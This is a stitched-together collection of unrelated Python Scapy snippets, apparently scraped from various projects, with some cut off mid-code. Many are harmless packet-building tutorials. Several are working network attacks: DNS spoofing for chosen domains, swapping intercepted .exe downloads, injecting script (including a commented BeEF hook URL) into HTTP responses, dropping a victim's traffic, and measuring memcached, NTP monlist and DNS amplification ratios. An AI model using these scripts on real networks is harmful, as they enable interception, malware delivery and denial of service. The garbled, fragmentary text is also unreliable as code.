def parse(packet): global websites global new_website payload = packet.get_payload() pkt = IP(payload) if not pkt.haslayer(DNSQR): packet.accept() else: for website in websites: if website in pkt[DNS].qd.qname: spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=new_website)) spoofed_pkt.show() packet.set_payload(str(spoofed_pkt)) packet.accept() return packet.accept()
def send_dns(ip, port): print(f"dns: {ip}:{port}") pkt = IP(dst=ip) / UDP(sport=54323, dport=port) / DNS( rd=1, id=12345, qd=DNSQR(qtype=16, qname="anakena.dcc.uchile.cl" )) # qtype=1 is A and DNS Request ID is 12345 # Captura de lo enviado capture_1 = StringIO() save_stdout = sys.stdout sys.stdout = capture_1 pkt.show() sys.stdout = save_stdout print("len enviado:" + str(len(capture_1.getvalue()))) print(f"Sending: {pkt.summary()}") # ANS is like IP(src=ip, dst=<myip>) / UDP(sport=port, dport=54323) / DNS(rd=1, qd=DNSQR(qtype=1, qname="lab4.cc5312.xor.cl") an=[<RRs received>]) # 1 is A ans = sr1(pkt, verbose=1) print(f"received:") # Captura de la respuesta capture = StringIO() save_stdout = sys.stdout sys.stdout = capture ans.show() sys.stdout = save_stdout print(f'RECEIVED LEN :{len(capture.getvalue())}\n') quotient = len(capture.getvalue()) / len(capture_1.getvalue()) print(quotient)
def send_memcached(ip, port): print(f"memcached: {ip}:{port}") pkt = IP(dst=ip) / UDP(sport=54321, dport=port) / \ Memcached(msg=command) # The memcached queries must finish in a line break capture_1 = StringIO() save_stdout = sys.stdout sys.stdout = capture_1 pkt.show() sys.stdout = save_stdout #print(pkt.show()) print("len enviado:" + str(len(capture_1.getvalue()))) # También tipo de pkt print(f'SENT LEN:{len(pkt.summary())}') print(f"Sending: {pkt.summary()}") ans = sr1(pkt, verbose=1) print(f"received:") #print(f'Lenreceived:{len(ans.show())}') # https://stackoverflow.com/questions/29288848/get-info-string-from-scapy-packet #Redirect output of print to variable 'capture' capture = StringIO() save_stdout = sys.stdout sys.stdout = capture ans.show() sys.stdout = save_stdout print(f'RECEIVED LEN :{len(capture.getvalue())}\n') print(capture.getvalue()) #print(capture.getvalue()) # Get cofficient... quotient = len(capture.getvalue()) / len(capture_1.getvalue()) print(quotient)
def send_ntp(ip, port): print(f"ntp: {ip}:{port}") pkt = IP(dst=ip) / UDP(sport=54322, dport=port) / NTPPrivate( version=3, mode=7, implementation=3, request_code=42) # 42 is mon_getlist_1 # Captura de lo enviado capture_1 = StringIO() save_stdout = sys.stdout sys.stdout = capture_1 pkt.show() sys.stdout = save_stdout print("len enviado:" + str(len(capture_1.getvalue()))) print(f"Sending: {pkt.summary()}") ans = sr1(pkt, verbose=1) print(f"received:") # Captura de la respuesta capture = StringIO() save_stdout = sys.stdout sys.stdout = capture ans.show() sys.stdout = save_stdout print(f'RECEIVED LEN :{len(capture.getvalue())}\n') quotient = len(capture.getvalue()) / len(capture_1.getvalue()) print(quotient)
def _send_ntp_client_request(self, dst='pool.ntp.org', ntp=NTP()) -> Packet: pck = IP(dst=dst) / UDP() / ntp if self.debug: pck.show() pck = sr1(pck) if self.debug: pck.show() return pck
def run(self, with_response: bool = True): """ Starts the sniffing for incoming NTP client packages. Note that further packages are not sniffed while one package is processed. """ print('Starting server.... listening on interface ' + self.sniff_interface) while True: pck = self.next_ntp_packet() received_time = ntp_time_now() if pck[IP].dst != self._host_ip: print('This package was not meant for the server...') continue pck_ntp = pck[NTP] if pck_ntp.mode != 3: continue self._req_interceptor.intercept_req(pck_ntp) if not with_response: continue if self.debug: print('Got a NTP client request, creating response.') # ntp_resp = self._send_ntp_client_request(ntp=pck_ntp) response_from_server_ntp = NTP() # ntp_resp[NTP] response_from_server_ntp.recv = received_time response_from_server_ntp.ref = self.reference_time # response_from_server_ntp.id = str(pck[IP].dst) response_from_server_ntp = self._res_interceptor.intercept_res( response_from_server_ntp) response = IP(dst=pck[IP].src, src=pck[IP].dst) / UDP() / response_from_server_ntp if self.debug: response.show() send(response)
def process_packet(packet): scapy_packet = IP(packet.get_payload()) if scapy_packet.haslayer(Raw) and scapy_packet.haslayer(TCP): if scapy_packet[TCP].dport == 80: # print("HTTP Request") if ".exe".encode() in scapy_packet[Raw].load: print("[+] exe request detected.") ack_list.append(scapy_packet[TCP].ack) print(scapy_packet.show()) elif scapy_packet[TCP].sport == 80: # print("HTTP Response") if scapy_packet[TCP].seq in ack_list: ack_list.remove(scapy_packet[TCP].seq) print("[+] Modifying download file") mod_packet = set_load(scapy_packet, redirect) print(scapy_packet.show()) packet.set_payload(bytes(mod_packet)) # print(packet.get_payload()) packet.accept()
def get_mblk_info(self, mblk_addr): print("{:-^{width}}".format("mblk info at %s" % hex(mblk_addr), width=80)) mblk_data = self.get_mem_dump(mblk_addr, 0x38) # 0x38 is length mblk = mBlk(mblk_data) mblk.show() print("##clblk at %s" % hex(mblk.pClBlkAddr)) clblk_hdr_data = self.get_mem_dump(mblk.pClBlkAddr, 0x20) # 0x38 is length clBlk_hdr = clBlk(clblk_hdr_data) clBlk_hdr.show() mData = self.get_mem_dump(mblk['mBlkHdr'].mData, mblk['mBlkHdr'].mLen) print("## mData at: %s with length: %s" % (hex(mblk['mBlkHdr'].mData), hex(mblk['mBlkHdr'].mLen))) if mData[:2] == "\x45\x00": mPacket = IP(mData) elif mData[:2] == "\x41\x41": mPacket = Raw(mData) else: mPacket = Ether(mData) mPacket.show()
def getICMPPacket(self): """ 构造ICMP报文 :return: """ try: icmp_packet = IP() / ICMP() icmp_packet.version = int(self.entries[2].get()) icmp_packet.id = int(self.entries[3].get()) icmp_packet.flags = int(self.entries[4].get()) icmp_packet.frag = int(self.entries[5].get()) icmp_packet.ttl = int(self.entries[6].get()) # ip_packet.chksum = str(self.entries[7].get()) icmp_packet.src = str(self.entries[8].get()) icmp_packet.dst = str(self.entries[9].get()) icmp_packet.type = int(self.entries[0].get()) # icmp_packet.chksum = str(self.entries[1].get()) # 获得数据包的二进制值 pkg_raw = raw(icmp_packet) # 构造数据包,自动计算校验和 icmp_packet = IP(pkg_raw) # 去除数据包的IP首部,并构建ICMP对象,这样可以获得ICMP的校验和 pkg_icmp = pkg_raw[20:] pkg_icmp = ICMP(pkg_icmp) print("scapy自动计算的ICMP的校验和为:%04x" % pkg_icmp.chksum) self.entries[1].delete(0, END) self.entries[1].insert(0, hex(pkg_icmp.chksum)) self.entries[7].delete(0, END) self.entries[7].insert(0, hex(icmp_packet.chksum)) icmp_packet.show() self.resultText.insert('end', icmp_packet.summary() + '\n') self.resultText.insert('end', str(icmp_packet) + '\n') return Ether() / icmp_packet except Exception as e: print(e.with_traceback()) finally: pass
def process_func(packets): scapy_packets = IP(packets.get_payload()) if scapy_packets.haslayer(DNSRR): qname = scapy_packets[DNSQR].qname a = "www.bing.com" if b"www.bing.com" in qname: print("[+] Spoofing Started") ans = DNSRR(rrname=qname, rdata="192.168.0.107") scapy_packets[DNS].an = ans scapy_packets[DNS].ancount = 1 del scapy_packets[IP].len del scapy_packets[IP].chksum del scapy_packets[UDP].len del scapy_packets[UDP].chksum packets.set_payload(bytes(scapy_packets)) print(scapy_packets.show()) print("\n-------------------------------------------------------------------") packets.accept()
def process_packet(packet): ''' Process each packet in Network Filter queue ''' global DROP, VERBOSE, NUM_PKTS if VERBOSE: IP_pkt = IP(packet.get_payload()) print(IP_pkt.show()) else: print(packet) NUM_PKTS+=1 if DROP: #Block the connection of the victim packet.drop() else: #Analyse packets sent between victim and servers packet.accept()
def process_packet(self, packet): scapy_packet = IP(packet.get_payload()) print(scapy_packet.show()) if scapy_packet.haslayer(TCP): if scapy_packet[TCP].dport == int( self.port) and scapy_packet.haslayer(http.HTTPRequest): scapy_packet[http.HTTPRequest].Http_Version = 'HTTP/1.0' scapy_packet[http.HTTPRequest].Accept_Encoding = None del scapy_packet[IP].len del scapy_packet[IP].chksum del scapy_packet[TCP].chksum packet.set_payload(bytes(scapy_packet)) # Content-Length:\s\d* elif scapy_packet[TCP].sport == int( self.port) and scapy_packet.haslayer(Raw): load = scapy_packet[Raw].load print(" [+] HTTP Response") # injection_code = '<script src="http://10.0.2.5:3000/hook.js"></script>' injection_code = "<script>alert('2');</script></body>" load = load.replace(b"</body>", bytes(injection_code, "utf-8")) load = load.replace(b"</BODY>", bytes(injection_code, "utf-8")) # print(load) if scapy_packet.haslayer(http.HTTPResponse): if "text/html" in str( scapy_packet[http.HTTPResponse].Content_Type): if scapy_packet[http.HTTPResponse].Content_Length: content_length = int( scapy_packet[http.HTTPResponse].Content_Length) new_content_length = content_length + len( injection_code) scapy_packet[ http.HTTPResponse].Content_Length = bytes( str(new_content_length), "utf-8") if load != scapy_packet[Raw].load: scapy_packet[Raw].load = load del scapy_packet[IP].len del scapy_packet[IP].chksum del scapy_packet[TCP].chksum packet.set_payload( bytes(scapy_packet)) # Content-Length:\s\d* print(IP(packet.get_payload()).show()) packet.accept()
def process_packet(packet): scapy_packet = IP(packet.get_payload()) if scapy_packet.haslayer(scapy.Raw): load = scapy_packet[scapy.Raw].load # dport = destination port, sport = source port if scapy_packet[TCP].dport == 80: print('[+] Request') # remove accepted encoding from the request so that we receive pure HTTP code load = re.sub(r"Accept-Encoding:.*?\r\n", "", load) elif scapy_packet[TCP].sport == 80: print('[+] Response') print(scapy_packet.show()) load = load.replace("</body>", f"<script>{injected_script};</script></body>") if load != scapy_packet[scapy.Raw].load: modified_packet = set_load(scapy_packet, load) packet.set_payload(str(modified_packet)) packet.accept()
def print_and_accept(pkt): ip = IP(pkt.get_payload()) ip.show() pkt.set_payload(str(ip)) pkt.accept()
def sniff(): with open_raw_socket() as conn: while True: raw = conn.recvfrom(65565) ip = IP(str(raw)) print(ip.show())
def construct_IP(DNSaddr): # Construct IP packet ip = IP() ip.dst = DNSaddr ip.show() return ip
def print_and_accept(pkt): ip = IP(pkt.get_payload()) ip.show() pkt.set_payload(str(ip)) pkt.accept()
def getIPPacket(self): """ 构造IP数据包 :return: """ # chksum = self.entries[9].get() try: eth = Ether() eth.src = self.entries[0].get() eth.dst = self.entries[1].get() eth.type = int(self.entries[2].get()) ip_packet = IP() ip_packet.versionion = int(self.entries[3].get()) ip_packet.ihl = int(self.entries[4].get()) ip_packet.tos = int(self.entries[5].get()) ip_packet.len = int(self.entries[6].get()) ip_packet.id = int(self.entries[7].get()) ip_packet.flags = int(self.entries[8].get()) ip_packet.frag = int(self.entries[9].get()) ip_packet.ttl = int(self.entries[10].get()) ip_packet.proto = int(self.entries[11].get()) payload = self.entries[16].get() ip_packet.src = self.entries[13].get() ip_packet.dst = self.entries[14].get() # 不含payload计算首部校验和 if payload == '': print("无payload的IP报文") ip_packet.show() checksum_scapy = IP(raw(ip_packet)).chksum # 自主计算验证IP首部检验和并进行填充 print("scapy自动计算的IP首部检验和是:%04x (%s)" % (checksum_scapy, str(checksum_scapy))) # 1.将IP首部和自动设置为0 ip_packet.chksum = 0 # 2.生成ip首部的数据字符串 x = raw(ip_packet) ipString = "".join("%02x" % orb(x) for x in x) # 3.将ip首部的数据字符串转换成字节数组 ipbytes = bytearray.fromhex(ipString) # 4.调用校验和计算函数计算校验和 checksum_self = self.IP_headchecksum(ipbytes) # 5.进行校验和验证 print("验证计算IP首部的检验和是:%04x (%s)" % (checksum_self, str(checksum_self))) # 含payload计算首部校验和 else: print("含有payload的IP报文") ip_packet = ip_packet / payload ip_packet.show() ip_packet.len = 20 + len(payload) checksum_scapy = IP(raw(ip_packet)).chksum print("scapy自动计算的IP首部检验和是:%04x (%s)" % (checksum_scapy, str(checksum_scapy))) ip_packet.chksum = 0 ip_packet.ihl = 5 print('\n 报文长度是:%s' % str(ip_packet.len)) x = raw(ip_packet) ipString = "".join("%02x" % orb(x) for x in x) ipbytes = bytearray.fromhex(ipString) checksum_self = self.IP_headchecksum(ipbytes[0:ip_packet.ihl * 4]) print("验证计算IP首部的检验和是:%04x (%s)" % (checksum_self, str(checksum_self))) if checksum_self == checksum_scapy: print("检验和正确") else: print("检验和不正确") ip_packet.chksum = checksum_self self.entries[12].delete(0, END) self.entries[12].insert(0, hex(ip_packet.chksum)) ip_packet.show() self.resultText.insert('end', ip_packet.summary() + '\n') self.resultText.insert('end', str(ip_packet) + '\n') return eth / ip_packet except Exception as e: print(e.with_traceback()) finally: pass
def src_to_dst_show_packet(): target_url = 'api.wms.pickby.us' a = IP(dst = target_url) a.show()
""" PeTrA's Scapy Research Laboratory 2020 ~ Copyrights 2020 PeTrA. All rights reserved TCP Example TCP : Transmission Control Protocol """ from scapy.layers.inet import IP, TCP from scapy.sendrecv import send from scapy.volatile import RandShort destination_ip = "127.0.0.1" source_port = RandShort() destination_port = 135 tcp_flags = "S" # U, A, P, R, S, F tcp_packet = IP(dst=destination_ip) / TCP( sport=source_port, dport=destination_port, flags=tcp_flags) tcp_packet.show() send(tcp_packet)
""" Date: 2022.04.21 16:43:08 LastEditors: Rustle Karl LastEditTime: 2022.04.21 22:39:53 """ from scapy.layers.inet import IP, UDP udp = IP(dst="192.168.0.1") / UDP(dport=80, sport=1080) udp.show()
""" Date: 2022.04.21 14:23:20 LastEditors: Rustle Karl LastEditTime: 2022.04.21 14:44:37 """ from scapy.layers.inet import IP, ICMP, sr1, raw # 回显 icmp = IP(dst="192.168.4.1") / ICMP() # 时间戳的请求应答格式 icmp = IP(dst="192.168.4.1") / ICMP(type=13) icmp.show() icmp.summary() # 发送和接收数据包 timestamp_reply = sr1(icmp) raw(icmp).hex()
from scapy.utils import hexdump print('******比如ls(IP)来查看IP包的各种默认参数******') ls(IP()) # print('******比如ls(TCP)来查看TCP包的各种默认参数******') # print(ls(TCP())) # # print('******查看scapy指令集******') # print(lsc()) pkt = IP(dst='114.114.114.114') # ls(pkt) print('使用show()方法来查看数据包信息') pkt.show() print('使用summary()方法查看概要信息') print(pkt.summary()) print('使用hexdump(pkt)开查看数据包的字节信息') hexdump(pkt) print('使用 "/" 操作符来给数据包加上一层。例如构造一个TCP数据包,在IP层指明数据包的目的地址。在TCP层可以设定数据包的目的端口等等') tcp_pkt = IP(dst='114.114.114.114') / TCP() tcp_pkt.show() print('数据包的目标端口可以用范围来表示,发送的时候就会发送dport 不同的多个数据包') tcp_pkt = IP(dst='114.114.114.114') / TCP(dport=(22, 33)) # print(tcp_pkt.summary()) for tcp in tcp_pkt:
from scapy.all import * from scapy.layers.inet import IP, TCP, UDP from scapy.layers.l2 import Ether a = IP() print('1--', a.show()) a = IP() / TCP() print('2--', a.show()) a = Ether() / IP() / TCP() print('3--', a.show()) a = IP() / TCP() / "GET / HTTP/1.1\r\n\r\n" print('4--', a.show()) a = Ether() / IP() / UDP() print('5--', a.show()) a = IP(proto=55) / TCP() print('6--', a.show())
""" Date: 2022.04.21 10:36:18 LastEditors: Rustle Karl LastEditTime: 2022.04.21 13:35:59 """ from scapy.compat import raw from scapy.layers.inet6 import IPv6 from scapy.layers.inet import IP """ scapy -H """ # 构造 IP 数据包 ipv4 = IP() ipv6 = IPv6() # 显示 IP 数据包 ipv4.show() ipv6.show() # 打印16进制字节数据 raw(ipv6)
""" PeTrA's Scapy Research Laboratory 2020 ~ Copyrights 2020 PeTrA. All rights reserved ICMP Example ICMP : Internet Control Message Protocol """ from scapy.layers.inet import IP, ICMP from scapy.sendrecv import send # ICMP destination_ip = "8.8.8.8" data = "hello world" icmp_packet = IP(dst=destination_ip) / ICMP() / data icmp_packet.show() send(icmp_packet)
ack = 0 ttl = 64 flagsIP = "DF" id = 32711 chksum = 0 # để 0 rồi del đi để scapy tự tính # TCP flagsTCP = "S" # msg ="0123456789" pak = IP(dst=dst, src = src, ttl=ttl, flags=flagsIP,len=40, chksum = 0)/TCP(flags=flagsTCP, sport=srcPort, dport=int(dstPort), chksum = 0, seq=seq, ack=ack, window=65535) del pak[IP].chksum del pak[TCP].chksum print("Packet 1 SYN: " + src + " --> " + dst) # pak[TCP].flags |= 0x10 # set the ACK flag pak = pak.__class__(bytes(pak)) # Tự động tính chksum | show2() chỉ tính và in ra, không lưu lại vào packet pak = pak pak.show() # "VMware Network Adapter VMnet8" iface = "Ethernet" scapy.send(pak, iface=iface) filterd = "tcp && port " + str(dstPort) syn_ack = scapy.sniff(filter=filterd, count=1, iface=iface)[0] # ACK reply in handshake ack = IP(dst=dst, src = src, ttl=ttl, flags=flagsIP,len=40, chksum = 0)/TCP(flags="A", sport=srcPort, dport=dstPort, chksum = 0, seq=syn_ack.ack, ack=syn_ack.seq + 1, window=65535) del ack[IP].chksum del ack[TCP].chksum print("Packet 1 ACK: " + src + " --> " + dst) ack = ack.__class__(bytes(ack)) # Tự động tính chksum | show2() chỉ tính và in ra, không lưu lại vào packet ack.show() scapy.send(ack, iface=iface)
from scapy.all import * import logging from scapy.layers.inet import IP, TCP logging.getLogger('scapy.runtime').setLevel(logging.ERROR) # target_ip = '101.132.118.250' # target_port = 1801 # data = 'GET / HTTP/1.0 \r\n\r\n' # global sport, s_seq, d_seq # ans = sr1(IP(dst=target_ip) / TCP(dport=target_port, sport=RandShort(), seq=RandInt(), flags='S'), verbose=False) # sport = ans[TCP].dport # s_seq = ans[TCP].ack # d_seq = ans[TCP].seq + 1 # send(IP(dst=target_ip) / TCP(dport=target_port, sport=sport, ack=d_seq, seq=s_seq, flags='A'), verbose=False) s = IP(src="192.168.0.108", dst="101.132.118.250") / TCP() print(s.show())